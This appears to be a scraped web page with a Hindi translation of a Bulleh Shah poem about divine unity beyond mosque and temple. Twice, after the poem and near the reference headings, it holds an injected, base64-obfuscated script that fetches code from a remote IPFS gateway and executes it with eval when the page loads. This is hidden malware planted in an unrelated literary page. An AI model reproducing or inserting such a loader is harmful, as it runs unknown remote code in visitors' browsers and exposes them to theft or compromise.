अब क्या करता वह क्या करता? -बुल्ले शाह
| ||||||||||||||||||
|
की करदा हुण की करदा, |
हिन्दी अनुवाद
अब क्या करता वह क्या करता?
तुम्हीं कहो, दिलबर क्या करता?
एक ही घर में रहतीं बसतीं फिर पर्दा क्या अच्छा,
मस्जिद में पढ़ता नमाज़ वो, पर मन्दिर भी जाता,
एक है वह पर घर लाख अनेक, मालिक वह हर घर का,
चारों ओर प्रभु ही सबके संग नज़र है आता,
मूसा और फरौह को रच के, फिर दो बन क्यों लड़ता?
वह सर्वव्यापी स्वयं साक्षी है, फिरनरककिसे ले जाता?
बात नाज़ुक है, कैसे कहता, न कह सकता न सह सकता,
कैसा सुन्दर वतन जहाँ एक गढ़ता है एक जलता,
अद्वैत और सत्य-सरिता में सब कोई दिखता तरता,
वही इस ओर, वही उस ओर, मालिक और दास वही सबका,
व्याघ्र-सम प्रेम है बुल्ले शाह का, जो पीता है रक्त और मांस है खाता।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>